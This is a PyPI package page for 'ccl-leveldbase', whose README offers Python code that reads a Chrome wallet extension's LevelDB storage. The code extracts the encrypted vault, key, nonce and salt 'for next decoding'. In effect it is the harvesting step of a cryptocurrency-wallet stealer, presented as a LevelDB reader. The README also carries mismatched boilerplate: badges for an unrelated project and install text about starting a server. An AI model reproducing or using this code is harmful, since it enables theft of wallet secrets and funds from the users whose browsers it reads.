ccl-leveldbase


Nameccl-leveldbase JSON
Version 1.2 PyPI version JSON
download
home_pageNone
SummaryCCL Leveldb Reader, extract vault data from any chrome extensions, and etc.
upload_time2024-09-21 18:27:06
maintainerNone
docs_urlNone
authorIsaac Florentine
requires_python<4.0,>=3.7
licenseMIT
keywords
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # CCL Level DB
[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)

![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)

LDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.

## Installation
Python requires [Python.org](https://www.python.org/) v3,7+ to run.
Install the dependencies and devDependencies and start the server.
```sh
python -m pip install pip
python -m pip install --upgrade pip
pip install ccl_leveldbase
```
## Example code
example patch
###### C:\Users\root\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn

```python
import ccl_leveldbase

def findldb(db_path):
	try:
		leveldb_records = ccl_leveldbase.RawLevelDb(db_path)
		for record in leveldb_records.iterate_records_raw():
			try:
				encrypted_object = json.loads(record.value.decode("utf8"))
				if "encryptedKey" in encrypted_object and "encrypted" in encrypted_object["encryptedKey"]:
				   break
			except:
				pass
		data = encrypted_object["encryptedKey"]
		encrypted = base58.b58decode(data["encrypted"])
		nonce = base58.b58decode(data["nonce"])
		salt = base58.b58decode(data["salt"])
		result_object_2 = []
		leveldb_records = ccl_leveldbase.RawLevelDb(db_path)
		for record in leveldb_records.iterate_records_raw():
			try:
				json_data = json.loads(record.value.decode("utf8"))
				if "content" in json_data and "encrypted" in json_data["content"]:
					result_object_2.append(json_data)
			except:
				pass
		return [result_object_2, [encrypted, nonce, salt]]
	except Exception as ex:
		return []

```
##Output:
```
[Encrypted, [data, vector, salt]]
```

For more information, see [docs.python-guide.org](http://docs.python-guide.org "docs.python-guide.org").

## License
MIT
>Decoder master project (c)

            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "ccl-leveldbase",
    "maintainer": null,
    "docs_url": null,
    "requires_python": "<4.0,>=3.7",
    "maintainer_email": null,
    "keywords": null,
    "author": "Isaac Florentine",
    "author_email": null,
    "download_url": "https://files.pythonhosted.org/packages/11/a8/1c2be98a91a7e8dbccb8dba50ddadf4544c6f86ed8e451f78686956a67ed/ccl_leveldbase-1.2.tar.gz",
    "platform": null,
    "description": "# CCL Level DB\n[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)\n\n![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)\n\nLDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.\n\n## Installation\nPython requires [Python.org](https://www.python.org/) v3,7+ to run.\nInstall the dependencies and devDependencies and start the server.\n```sh\npython -m pip install pip\npython -m pip install --upgrade pip\npip install ccl_leveldbase\n```\n## Example code\nexample patch\n###### C:\\Users\\root\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\n\n```python\nimport ccl_leveldbase\n\ndef findldb(db_path):\n\ttry:\n\t\tleveldb_records = ccl_leveldbase.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tencrypted_object = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"encryptedKey\" in encrypted_object and \"encrypted\" in encrypted_object[\"encryptedKey\"]:\n\t\t\t\t   break\n\t\t\texcept:\n\t\t\t\tpass\n\t\tdata = encrypted_object[\"encryptedKey\"]\n\t\tencrypted = base58.b58decode(data[\"encrypted\"])\n\t\tnonce = base58.b58decode(data[\"nonce\"])\n\t\tsalt = base58.b58decode(data[\"salt\"])\n\t\tresult_object_2 = []\n\t\tleveldb_records = ccl_leveldbase.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tjson_data = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"content\" in json_data and \"encrypted\" in json_data[\"content\"]:\n\t\t\t\t\tresult_object_2.append(json_data)\n\t\t\texcept:\n\t\t\t\tpass\n\t\treturn [result_object_2, [encrypted, nonce, salt]]\n\texcept Exception as ex:\n\t\treturn []\n\n```\n##Output:\n```\n[Encrypted, [data, vector, salt]]\n```\n\nFor more information, see [docs.python-guide.org](http://docs.python-guide.org \"docs.python-guide.org\").\n\n## License\nMIT\n>Decoder master project (c)\n",
    "bugtrack_url": null,
    "license": "MIT",
    "summary": "CCL Leveldb Reader, extract vault data from any chrome extensions, and etc.",
    "version": "1.2",
    "project_urls": null,
    "split_keywords": [],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "9bf3c1479033163f7e156b52ede3cd3928047af6deadf84face21ccc71a9123a",
                "md5": "0e8a652e65938aeac212a83e974f8578",
                "sha256": "cb929cfbdf7dbcd2a8063d06dc39c7f575c3b9a05c69c854e22e6e82a079bc7f"
            },
            "downloads": -1,
            "filename": "ccl_leveldbase-1.2-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "0e8a652e65938aeac212a83e974f8578",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": "<4.0,>=3.7",
            "size": 8626,
            "upload_time": "2024-09-21T18:27:04",
            "upload_time_iso_8601": "2024-09-21T18:27:04.967727Z",
            "url": "https://files.pythonhosted.org/packages/9b/f3/c1479033163f7e156b52ede3cd3928047af6deadf84face21ccc71a9123a/ccl_leveldbase-1.2-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "11a81c2be98a91a7e8dbccb8dba50ddadf4544c6f86ed8e451f78686956a67ed",
                "md5": "ff3b77c3a0459f1d63c17991345efd0d",
                "sha256": "ff58acb25994ef1e1813d3ab3b702cab0a50d93164ec848b8e876e31a15c1bff"
            },
            "downloads": -1,
            "filename": "ccl_leveldbase-1.2.tar.gz",
            "has_sig": false,
            "md5_digest": "ff3b77c3a0459f1d63c17991345efd0d",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": "<4.0,>=3.7",
            "size": 8296,
            "upload_time": "2024-09-21T18:27:06",
            "upload_time_iso_8601": "2024-09-21T18:27:06.059788Z",
            "url": "https://files.pythonhosted.org/packages/11/a8/1c2be98a91a7e8dbccb8dba50ddadf4544c6f86ed8e451f78686956a67ed/ccl_leveldbase-1.2.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-09-21 18:27:06",
    "github": false,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "lcname": "ccl-leveldbase"
}
        
Elapsed time: 0.39530s